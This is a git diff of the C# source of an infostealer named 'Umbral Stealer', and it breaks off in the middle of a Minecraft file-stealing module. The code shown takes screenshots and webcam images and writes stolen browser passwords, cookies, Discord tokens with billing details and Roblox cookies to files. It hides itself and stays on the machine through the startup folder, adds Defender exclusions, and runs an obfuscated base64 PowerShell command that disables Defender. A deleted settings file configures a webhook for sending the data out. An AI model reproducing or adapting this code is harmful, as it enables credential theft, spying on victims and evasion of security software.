+using System; +using System.Diagnostics; +using System.Threading.Tasks; + +namespace Umbral.payload.SystemInfo +{ + internal struct GeneralSystemInfo + { + internal string ComputerName; + + internal string ComputerOs; + + internal string TotalMemory; + + internal string Gpu; + + internal string Cpu; + + internal string Uuid; + } + + internal class General + { + internal static async Task GetInfo() + { + string computerName = Environment.MachineName; + string computerOs; + string totalMemory; + string uuid; + string gpu; + string cpu; + + using (Process process = new Process()) + { + process.StartInfo.FileName = "wmic.exe"; + process.StartInfo.Arguments = "os get Caption"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + process.Start(); + process.WaitForExit(); + + computerOs = await process.StandardOutput.ReadToEndAsync(); + computerOs = computerOs.Split('\n')[1].Trim(); + } + + using (Process process = new Process()) + { + process.StartInfo.FileName = "wmic.exe"; + process.StartInfo.Arguments = "computersystem get totalphysicalmemory"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + process.Start(); + process.WaitForExit(); + + totalMemory = await process.StandardOutput.ReadToEndAsync(); + totalMemory = totalMemory.Split('\n')[1].Trim(); + totalMemory = Math.Round(Convert.ToInt64(totalMemory) / 1e-9).ToString().Split('.')[0] + " GB"; + } + + using (Process process = new Process()) + { + process.StartInfo.FileName = "wmic.exe"; + process.StartInfo.Arguments = "csproduct get uuid"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + process.Start(); + process.WaitForExit(); + + uuid = await process.StandardOutput.ReadToEndAsync(); + uuid = uuid.Split('\n')[1].Trim(); + } + + using (Process process = new Process()) + { + process.StartInfo.FileName = "powershell.exe"; + process.StartInfo.Arguments = + "Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + process.Start(); + process.WaitForExit(); + + cpu = await process.StandardOutput.ReadToEndAsync(); + cpu = cpu.Trim(); + } + + using (Process process = new Process()) + { + process.StartInfo.FileName = "wmic"; + process.StartInfo.Arguments = "path win32_VideoController get name"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + process.Start(); + process.WaitForExit(); + + gpu = await process.StandardOutput.ReadToEndAsync(); + gpu = gpu.Split('\n')[1].Trim(); + } + + return new GeneralSystemInfo + { + ComputerName = computerName, + ComputerOs = computerOs, + TotalMemory = totalMemory, + Uuid = uuid, + Cpu = cpu, + Gpu = gpu + }; + } + } } \ No newline at end of file diff --git a/Umbral.payload/SystemInfo/IpInfo.cs b/Umbral.payload/Components/SystemInfo/IpInfo.cs similarity index 97% rename from Umbral.payload/SystemInfo/IpInfo.cs rename to Umbral.payload/Components/SystemInfo/IpInfo.cs index 1baa115..79b20a4 100644 --- a/Umbral.payload/SystemInfo/IpInfo.cs +++ b/Umbral.payload/Components/SystemInfo/IpInfo.cs @@ -1,41 +1,41 @@ -using System.Net.Http; -using System.Threading.Tasks; - -namespace Umbral.payload.SystemInfo -{ - internal class IpFormat - { - public string Country { get; set; } - public string RegionName { get; set; } - public string Timezone { get; set; } - public string Reverse { get; set; } - public bool Mobile { get; set; } - public bool Proxy { get; set; } - public string Query { get; set; } - } - - internal static class IpInfo - { - internal static async Task GetInfo() - { - using (HttpClient client = new HttpClient()) - { - string content = await client.GetStringAsync("http://ip-api.com/json/?fields=225545"); - dynamic jsonContent = SimpleJson.DeserializeObject(content); - - IpFormat ipinfo = new IpFormat - { - Country = (string)jsonContent["country"], - RegionName = (string)jsonContent["regionName"], - Timezone = (string)jsonContent["timezone"], - Reverse = (string)jsonContent["reverse"], - Mobile = (bool)jsonContent["mobile"], - Proxy = (bool)jsonContent["proxy"], - Query = (string)jsonContent["query"] - }; - - return ipinfo; - } - } - } +using System.Net.Http; +using System.Threading.Tasks; + +namespace Umbral.payload.SystemInfo +{ + internal class IpFormat + { + public string Country { get; set; } + public string RegionName { get; set; } + public string Timezone { get; set; } + public string Reverse { get; set; } + public bool Mobile { get; set; } + public bool Proxy { get; set; } + public string Query { get; set; } + } + + internal static class IpInfo + { + internal static async Task GetInfo() + { + using (HttpClient client = new HttpClient()) + { + string content = await client.GetStringAsync("http://ip-api.com/json/?fields=225545"); + dynamic jsonContent = SimpleJson.DeserializeObject(content); + + IpFormat ipinfo = new IpFormat + { + Country = (string)jsonContent["country"], + RegionName = (string)jsonContent["regionName"], + Timezone = (string)jsonContent["timezone"], + Reverse = (string)jsonContent["reverse"], + Mobile = (bool)jsonContent["mobile"], + Proxy = (bool)jsonContent["proxy"], + Query = (string)jsonContent["query"] + }; + + return ipinfo; + } + } + } } \ No newline at end of file diff --git a/Umbral.payload/Utilities/Common.cs b/Umbral.payload/Components/Utilities/Common.cs similarity index 89% rename from Umbral.payload/Utilities/Common.cs rename to Umbral.payload/Components/Utilities/Common.cs index b4b8b8b..c7a6c24 100644 --- a/Umbral.payload/Utilities/Common.cs +++ b/Umbral.payload/Components/Utilities/Common.cs @@ -1,128 +1,142 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.IO.Compression; -using System.Net; -using System.Net.Http; -using System.Reflection; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace Umbral.payload.Utilities -{ - internal static class Common - { - internal static async Task IsConnectionAvailable() - { - try - { - using (HttpClient httpClient = new HttpClient { Timeout = TimeSpan.FromSeconds(5.0) }) - { - HttpResponseMessage response = await httpClient.GetAsync("https://gstatic.com/generate_204"); - return response.StatusCode == - HttpStatusCode.NoContent; - } - } - catch - { - return false; - } - } - - internal static bool IsInStartup() - { - try - { - string currentPath = Assembly.GetExecutingAssembly().Location; - string currentDirectoryPath = Path.GetDirectoryName(currentPath); - string[] startupPaths = - { - Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), - Environment.GetFolderPath(Environment.SpecialFolder.Startup) - }; - return Array.Exists(startupPaths, e => e.Equals(currentDirectoryPath, StringComparison.OrdinalIgnoreCase)); - } - catch - { - Console.WriteLine("Failed getting current directory"); - return false; - } - } - - internal static string GenerateRandomString(int length) - { - Random random = new Random(); - string chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - StringBuilder result = new StringBuilder(); - - for (int i = 0; i < length; i++) - result.Append(chars[random.Next(0, chars.Length)]); - - return result.ToString(); - } - - internal static void PutInStartup() - { - string currentPath = Assembly.GetExecutingAssembly().Location; - string startupDir = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup); - string newFilePath = Path.Combine(startupDir, $"{GenerateRandomString(5)}.scr"); - - try - { - File.Copy(currentPath, newFilePath, true); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - internal static bool Compress(string src, string dst) - { - if (Directory.Exists(src) && !File.Exists(dst) && Directory.Exists(Path.GetDirectoryName(dst))) - try - { - ZipFile.CreateFromDirectory(src, dst, CompressionLevel.Optimal, false, Encoding.UTF8); - return true; - } - catch (Exception e) - { - Console.WriteLine(e); - return false; - } - - return false; - } - - internal static Bitmap[] CaptureScreenShot() - { - var results = new List(); - var allScreens = Screen.AllScreens; - - foreach (Screen screen in allScreens) - { - try - { - Rectangle bounds = screen.Bounds; - using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage(bitmap)) - { - graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); - } - - results.Add((Bitmap)bitmap.Clone()); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return results.ToArray(); - } - } -} \ No newline at end of file +using System; +using System.Collections.Generic; +using System.IO.Compression; +using System.IO; +using System.Net; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Drawing; +using System.Net.Http; + +namespace Umbral.payload.Components.Utilities +{ + internal static class Common + { + internal static async Task IsConnectionAvailable() + { + try + { + using (HttpClient httpClient = new HttpClient { Timeout = TimeSpan.FromSeconds(5.0) }) + { + HttpResponseMessage response = await httpClient.GetAsync("https://gstatic.com/generate_204"); + return response.StatusCode == + HttpStatusCode.NoContent; + } + } + catch + { + return false; + } + } + + internal static bool IsInStartup() + { + try + { + string currentPath = Assembly.GetExecutingAssembly().Location; + string currentDirectoryPath = Path.GetDirectoryName(currentPath); + string[] startupPaths = + { + Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), + Environment.GetFolderPath(Environment.SpecialFolder.Startup) + }; + return Array.Exists(startupPaths, e => e.Equals(currentDirectoryPath, StringComparison.OrdinalIgnoreCase)); + } + catch + { + Console.WriteLine("Failed getting current directory"); + return false; + } + } + + internal static string GenerateRandomString(int length) + { + Random random = new Random(); + string chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder result = new StringBuilder(); + + for (int i = 0; i < length; i++) + result.Append(chars[random.Next(0, chars.Length)]); + + return result.ToString(); + } + + internal static void PutInStartup() + { + string currentPath = Assembly.GetExecutingAssembly().Location; + string startupDir = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup); + string newFilePath = Path.Combine(startupDir, $"{GenerateRandomString(5)}.scr"); + + try + { + File.Copy(currentPath, newFilePath, true); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + internal static bool Compress(string src, string dst) + { + if (Directory.Exists(src) && !File.Exists(dst) && Directory.Exists(Path.GetDirectoryName(dst))) + try + { + ZipFile.CreateFromDirectory(src, dst, CompressionLevel.Optimal, false, Encoding.UTF8); + return true; + } + catch (Exception e) + { + Console.WriteLine(e); + return false; + } + + return false; + } + + internal static Bitmap[] CaptureScreenShot() + { + var results = new List(); + var allScreens = Screen.AllScreens; + + foreach (Screen screen in allScreens) + { + try + { + Rectangle bounds = screen.Bounds; + using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); + } + + results.Add((Bitmap)bitmap.Clone()); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return results.ToArray(); + } + + internal static void CopyTree(string src, string dst) + { + Directory.CreateDirectory(dst); + foreach (var file in Directory.GetFiles(src)) + { + File.Copy(file, Path.Combine(dst, Path.GetFileName(file))); + } + + foreach (var dir in Directory.GetDirectories(src)) + { + CopyTree(dir, Path.Combine(dst, Path.GetFileName(dir))); + } + } + } +} diff --git a/Umbral.payload/Utilities/SaveData.cs b/Umbral.payload/Components/Utilities/SaveData.cs similarity index 95% rename from Umbral.payload/Utilities/SaveData.cs rename to Umbral.payload/Components/Utilities/SaveData.cs index 8db602e..79039e4 100644 --- a/Umbral.payload/Utilities/SaveData.cs +++ b/Umbral.payload/Components/Utilities/SaveData.cs @@ -1,160 +1,160 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Threading.Tasks; -using Umbral.payload.Browsers; -using Umbral.payload.Discord; - -namespace Umbral.payload.Utilities -{ - internal static class SaveData - { - static private readonly string Delimeter; - - static SaveData() - { - Delimeter = "==================Umbral Stealer=================="; - } - - internal static async Task SaveToFile(PasswordFormat[] passwords, string filepath) - { - if (passwords.Length > 0) - using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) - { - using (StreamWriter sw = new StreamWriter(fs)) - { - foreach (PasswordFormat password in passwords) - await sw.WriteLineAsync($@" -{Delimeter} - -URL: {password.Url} -Username: {password.Username} -Password: {password.Password} - -".TrimStart()); - } - } - } - - internal static async Task SaveToFile(CookieFormat[] cookies, string filepath) - { - if (cookies.Length > 0) - using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) - { - using (StreamWriter sw = new StreamWriter(fs)) - { - foreach (CookieFormat cookie in cookies) - { - string host = cookie.Host; - string name = cookie.Name; - string path = cookie.Path; - string value = cookie.Cookie; - ulong expiry = cookie.Expiry; - - string flag1 = expiry == 0 ? "FALSE" : "TRUE"; - string flag2 = host.StartsWith(".") ? "FALSE" : "TRUE"; - - await sw.WriteLineAsync($"{host}\t{flag1}\t{path}\t{flag2}\t{expiry}\t{name}\t{value}"); - } - } - } - } - - internal static async Task SaveToFile(DiscordAccountFormat[] accounts, string filepath) - { - if (accounts.Length > 0) - using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) - { - using (StreamWriter sw = new StreamWriter(fs)) - { - foreach (DiscordAccountFormat account in accounts) - { - string username = account.Username; - string userid = account.UserId; - string mfa = account.Mfa ? "Yes" : "No"; - string email = account.Email; - string phone = account.PhoneNumber; - string verified = account.Verified ? "Yes" : "No"; - string nitro = account.Nitro; - string token = account.Token; - - string billing = string.Join(", ", account.BillingType); - billing = string.IsNullOrWhiteSpace(billing) ? "(None)" : billing; - - string gifts = account.Gift.Length > 0 - ? "Gift Codes: \n\t" + string.Join("\n\t", - account.Gift.Select(gift => $"{gift.Title}: {gift.Code}")) - : "Gift Codes: (None)"; - - await sw.WriteLineAsync($@" -{Delimeter} - -Username: {username} -User ID: {userid} -MFA Enabled: {mfa} -Email: {email} -Phone Number: {phone} -Verified User: {verified} -Nitro: {nitro} -Billing Methods: {billing} -Token: {token} - -{gifts} - -".TrimStart()); - } - } - } - } - - internal static async Task SaveToFile(string[] robloxCookies, string filepath) - { - if (robloxCookies.Length > 0) - using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) - { - using (StreamWriter sw = new StreamWriter(fs)) - { - await sw.WriteLineAsync( - "# Please note that these cookies are not verified so they might work or not.\n"); - foreach (string cookie in robloxCookies) await sw.WriteLineAsync($"{Delimeter}\n\n{cookie}\n\n"); - } - } - } - - internal static void SaveToFile(Bitmap[] screenshots, string folderPath) - { - for (int i = 0; i < screenshots.Length; i++) - { - try - { - string filePath = Path.Combine(folderPath, - "Display" + (screenshots.Length > 1 ? $"-{i + 1}" : string.Empty) + ".png"); - screenshots[i].Save(filePath, ImageFormat.Png); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - } - - internal static void SaveToFile(Dictionary images, string folderPath) - { - foreach (var image in images) - { - try - { - string filePath = Path.Combine(folderPath, $"{image.Key}.png"); - image.Value.Save(filePath, ImageFormat.Png); - } - catch (Exception ex) - { - Console.WriteLine(ex); - } - } - } - } +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Umbral.payload.Components.Browsers; +using Umbral.payload.Components.Messenger.Discord; + +namespace Umbral.payload.Components.Utilities +{ + internal static class SaveData + { + static private readonly string Delimeter; + + static SaveData() + { + Delimeter = "==================Umbral Stealer=================="; + } + + internal static async Task SaveToFile(PasswordFormat[] passwords, string filepath) + { + if (passwords.Length > 0) + using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) + { + using (StreamWriter sw = new StreamWriter(fs)) + { + foreach (PasswordFormat password in passwords) + await sw.WriteLineAsync($@" +{Delimeter} + +URL: {password.Url} +Username: {password.Username} +Password: {password.Password} + +".TrimStart()); + } + } + } + + internal static async Task SaveToFile(CookieFormat[] cookies, string filepath) + { + if (cookies.Length > 0) + using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) + { + using (StreamWriter sw = new StreamWriter(fs)) + { + foreach (CookieFormat cookie in cookies) + { + string host = cookie.Host; + string name = cookie.Name; + string path = cookie.Path; + string value = cookie.Cookie; + ulong expiry = cookie.Expiry; + + string flag1 = expiry == 0 ? "FALSE" : "TRUE"; + string flag2 = host.StartsWith(".") ? "FALSE" : "TRUE"; + + await sw.WriteLineAsync($"{host}\t{flag1}\t{path}\t{flag2}\t{expiry}\t{name}\t{value}"); + } + } + } + } + + internal static async Task SaveToFile(DiscordAccountFormat[] accounts, string filepath) + { + if (accounts.Length > 0) + using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) + { + using (StreamWriter sw = new StreamWriter(fs)) + { + foreach (DiscordAccountFormat account in accounts) + { + string username = account.Username; + string userid = account.UserId; + string mfa = account.Mfa ? "Yes" : "No"; + string email = account.Email; + string phone = account.PhoneNumber; + string verified = account.Verified ? "Yes" : "No"; + string nitro = account.Nitro; + string token = account.Token; + + string billing = string.Join(", ", account.BillingType); + billing = string.IsNullOrWhiteSpace(billing) ? "(None)" : billing; + + string gifts = account.Gift.Length > 0 + ? "Gift Codes: \n\t" + string.Join("\n\t", + account.Gift.Select(gift => $"{gift.Title}: {gift.Code}")) + : "Gift Codes: (None)"; + + await sw.WriteLineAsync($@" +{Delimeter} + +Username: {username} +User ID: {userid} +MFA Enabled: {mfa} +Email: {email} +Phone Number: {phone} +Verified User: {verified} +Nitro: {nitro} +Billing Methods: {billing} +Token: {token} + +{gifts} + +".TrimStart()); + } + } + } + } + + internal static async Task SaveToFile(string[] robloxCookies, string filepath) + { + if (robloxCookies.Length > 0) + using (FileStream fs = new FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.None)) + { + using (StreamWriter sw = new StreamWriter(fs)) + { + await sw.WriteLineAsync( + "# Please note that these cookies are not verified so they might work or not.\n"); + foreach (string cookie in robloxCookies) await sw.WriteLineAsync($"{Delimeter}\n\n{cookie}\n\n"); + } + } + } + + internal static void SaveToFile(Bitmap[] screenshots, string folderPath) + { + for (int i = 0; i < screenshots.Length; i++) + { + try + { + string filePath = Path.Combine(folderPath, + "Display" + (screenshots.Length > 1 ? $"-{i + 1}" : string.Empty) + ".png"); + screenshots[i].Save(filePath, ImageFormat.Png); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + } + + internal static void SaveToFile(Dictionary images, string folderPath) + { + foreach (var image in images) + { + try + { + string filePath = Path.Combine(folderPath, $"{image.Key}.png"); + image.Value.Save(filePath, ImageFormat.Png); + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } + } } \ No newline at end of file diff --git a/Umbral.payload/Utilities/Syscalls.cs b/Umbral.payload/Components/Utilities/Syscalls.cs similarity index 96% rename from Umbral.payload/Utilities/Syscalls.cs rename to Umbral.payload/Components/Utilities/Syscalls.cs index 139d985..3624b8d 100644 --- a/Umbral.payload/Utilities/Syscalls.cs +++ b/Umbral.payload/Components/Utilities/Syscalls.cs @@ -1,140 +1,139 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using Umbral.payload.Config; - -namespace Umbral.payload.Utilities -{ - internal static class Syscalls - { - static private Mutex _mutex; - - [DllImport("kernel32.dll")] - static extern private IntPtr GetConsoleWindow(); - - internal static bool IsConsoleVisible() - { - return GetConsoleWindow() != IntPtr.Zero; - } - - internal static bool DefenderExclude(string path) - { - if (File.Exists(path) || Directory.Exists(path)) - using (Process process = new Process()) - { - process.StartInfo.FileName = "powershell.exe"; - process.StartInfo.Arguments = $"Add-MpPreference -ExclusionPath '{path}'"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - process.WaitForExit(); - return process.ExitCode == 0; - } - - return false; - } - - internal static bool DisableDefender() - { - string command = Encoding.UTF8.GetString(Convert.FromBase64String( - "U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAy")); - using (Process process = new Process()) - { - process.StartInfo.FileName = "powershell.exe"; - process.StartInfo.Arguments = command; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - process.WaitForExit(); - return process.ExitCode == 0; - } - } - - internal static bool CheckAdminPrivileges() - { - using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) - { - WindowsPrincipal principal = new WindowsPrincipal(identity); - return principal.IsInRole(WindowsBuiltInRole.Administrator); - } - } - - internal static void AskForAdmin() - { - if (!CheckAdminPrivileges()) - { - using (Process process = new Process()) - { - process.StartInfo.FileName = Assembly.GetExecutingAssembly().Location; - process.StartInfo.Verb = "runas"; - process.StartInfo.CreateNoWindow = true; - try - { - process.Start(); - } - catch (Exception) - { - DialogResult result = MessageBox.Show( - "This application requires administrative permissions to run correctly. Please restart the application with administrative permissions.", - "Error", MessageBoxButtons.YesNo, MessageBoxIcon.Error); - if (result == DialogResult.Yes) - { - _mutex?.ReleaseMutex(); - AskForAdmin(); - } - else - { - RegisterMutex(); - } - } - } - - Environment.Exit(0); - } - } - - internal static void RegisterMutex() - { - _mutex = new Mutex(true, Settings.Mutex, out bool createdNew); - - if (!createdNew) - { - Console.WriteLine("Another instance of the application is already running."); - Environment.Exit(0); - } - } - - internal static void DeleteSelf() - { - using (Process process = new Process()) - { - process.StartInfo.FileName = "cmd.exe"; - process.StartInfo.Arguments = $"/c ping localhost && del /F /A h \"{Assembly.GetCallingAssembly().Location}\" && pause"; - process.StartInfo.UseShellExecute = false; - process.StartInfo.CreateNoWindow = true; - process.Start(); - } - - Environment.Exit(0); - } - - internal static void HideSelf() - { - using (Process process = new Process()) - { - process.StartInfo.FileName = "attrib.exe"; - process.StartInfo.Arguments = $"+h +s \"{Assembly.GetCallingAssembly().Location}\""; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - process.WaitForExit(); - } - } - } -} \ No newline at end of file +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Umbral.payload.Components.Utilities +{ + internal static class Syscalls + { + static private Mutex _mutex; + + [DllImport("kernel32.dll")] + static extern private IntPtr GetConsoleWindow(); + + internal static bool IsConsoleVisible() + { + return GetConsoleWindow() != IntPtr.Zero; + } + + internal static bool DefenderExclude(string path) + { + if (File.Exists(path) || Directory.Exists(path)) + using (Process process = new Process()) + { + process.StartInfo.FileName = "powershell.exe"; + process.StartInfo.Arguments = $"Add-MpPreference -ExclusionPath '{path}'"; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.Start(); + process.WaitForExit(); + return process.ExitCode == 0; + } + + return false; + } + + internal static bool DisableDefender() + { + string command = Encoding.UTF8.GetString(Convert.FromBase64String( + "U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAy")); + using (Process process = new Process()) + { + process.StartInfo.FileName = "powershell.exe"; + process.StartInfo.Arguments = command; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.Start(); + process.WaitForExit(); + return process.ExitCode == 0; + } + } + + internal static bool CheckAdminPrivileges() + { + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + } + + internal static void AskForAdmin() + { + if (!CheckAdminPrivileges()) + { + using (Process process = new Process()) + { + process.StartInfo.FileName = Assembly.GetExecutingAssembly().Location; + process.StartInfo.Verb = "runas"; + process.StartInfo.CreateNoWindow = true; + try + { + process.Start(); + } + catch (Exception) + { + DialogResult result = MessageBox.Show( + "This application requires administrative permissions to run correctly. Please restart the application with administrative permissions.", + "Error", MessageBoxButtons.YesNo, MessageBoxIcon.Error); + if (result == DialogResult.Yes) + { + _mutex?.ReleaseMutex(); + AskForAdmin(); + } + else + { + RegisterMutex(); + } + } + } + + Environment.Exit(0); + } + } + + internal static void RegisterMutex() + { + _mutex = new Mutex(true, Settings.Mutex, out bool createdNew); + + if (!createdNew) + { + Console.WriteLine("Another instance of the application is already running."); + Environment.Exit(0); + } + } + + internal static void DeleteSelf() + { + using (Process process = new Process()) + { + process.StartInfo.FileName = "cmd.exe"; + process.StartInfo.Arguments = $"/c ping localhost && del /F /A h \"{Assembly.GetCallingAssembly().Location}\" && pause"; + process.StartInfo.UseShellExecute = false; + process.StartInfo.CreateNoWindow = true; + process.Start(); + } + + Environment.Exit(0); + } + + internal static void HideSelf() + { + using (Process process = new Process()) + { + process.StartInfo.FileName = "attrib.exe"; + process.StartInfo.Arguments = $"+h +s \"{Assembly.GetCallingAssembly().Location}\""; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.Start(); + process.WaitForExit(); + } + } + } +} diff --git a/Umbral.payload/Webcam/ImageCapture.cs b/Umbral.payload/Components/Webcam/ImageCapture.cs similarity index 89% rename from Umbral.payload/Webcam/ImageCapture.cs rename to Umbral.payload/Components/Webcam/ImageCapture.cs index 2541719..879a383 100644 --- a/Umbral.payload/Webcam/ImageCapture.cs +++ b/Umbral.payload/Components/Webcam/ImageCapture.cs @@ -3,7 +3,7 @@ using System.Drawing; using System.Threading; using System.Threading.Tasks; -using Umbral.payload.Handlers; +using Umbral.payload.Components.Helpers; namespace Umbral.payload.Webcam { @@ -14,9 +14,9 @@ internal static async Task> CaptureWebcam() var images = new Dictionary(); string[] devices = UsbCamera.FindDevices(); - int remaining = devices.Length; + int remaining = devices.Length - 1; - Parallel.For(0, devices.Length, i => + Parallel.For(0, devices.Length - 1, i => { try { diff --git a/Umbral.payload/Config/Settings.cs b/Umbral.payload/Config/Settings.cs deleted file mode 100644 index 264fcdd..0000000 --- a/Umbral.payload/Config/Settings.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Linq; -using System.Text; -using Umbral.payload.Handlers; - -namespace Umbral.payload.Config -{ - internal static class Settings - { - internal static readonly string WebhookUrl; - - internal static readonly bool Ping; - - internal static readonly string Version; - - internal static readonly bool AntiVm; - - internal static readonly bool Startup; - - internal static readonly bool StealDiscordtokens; - - internal static readonly bool StealPasswords; - - internal static readonly bool StealCookies; - - internal static readonly bool StealRobloxCookies; - - internal static readonly bool StealMinecraftFiles; - - internal static readonly bool TakeScreenshot; - - internal static readonly bool DeleteSelf; - - internal static readonly bool CaptureWebcam; - - internal static readonly string Mutex; - - static Settings() - { - //-------------------------------------- - //----------------CONFIG---------------- - //-------------------------------------- - - string webhookUrl = ""; - bool ping = true; - string version = "0.1"; - bool antiVm = false; - bool startup = false; - bool stealPasswords = true; - bool stealCookies = true; - bool stealRobloxCookies = true; - bool stealMinecraftFiles = true; - bool stealDiscordTokens = true; - bool takeScreenshot = true; - bool deleteSelf = false; - bool captureWebcam = true; - - //-------------------------------------- - - string mutex = "ThisIsAUniQueMuTex"; - string key = ""; - string iv = ""; - - WebhookUrl = Decrypt(webhookUrl, key, iv); - Ping = ping; - Version = Decrypt(version, key, iv); - AntiVm = antiVm; - Startup = startup; - StealDiscordtokens = stealDiscordTokens; - StealPasswords = stealPasswords; - StealCookies = stealCookies; - StealRobloxCookies = stealRobloxCookies; - StealMinecraftFiles = stealMinecraftFiles; - TakeScreenshot = takeScreenshot; - DeleteSelf = deleteSelf; - CaptureWebcam = captureWebcam; - Mutex = mutex; - } - - static private string Decrypt(string encrypted, string _key, string _iv) - { - byte[] buffer = Convert.FromBase64String(encrypted); - byte[] key = Convert.FromBase64String(_key); - byte[] iv = Convert.FromBase64String(_iv); - - byte[] cipherText = buffer.Take(buffer.Length - 16).ToArray(); - byte[] tag = buffer.Skip(buffer.Length - 16).ToArray(); - - return Encoding.UTF8.GetString(new AesGcm().Decrypt(key, iv, null, cipherText, tag)); - } - } -} \ No newline at end of file diff --git a/Umbral.payload/Games/Minecraft/Minecraft.cs b/Umbral.payload/Games/Minecraft/Minecraft.cs deleted file mode 100644 index d99a717..0000000 --- a/Umbral.payload/Games/Minecraft/Minecraft.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using System.Threading.Tasks; - -namespace Umbral.payload.Games.Minecraft -{ - internal static class MinecraftStealer - { - static private readonly string MinecraftFolderPath; - - static MinecraftStealer() - { - string roamingPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - - MinecraftFolderPath = Path.Combine(roamingPath, ".minecraft"); - } - - internal static async Task StealMinecraftFiles(string dst) - { - 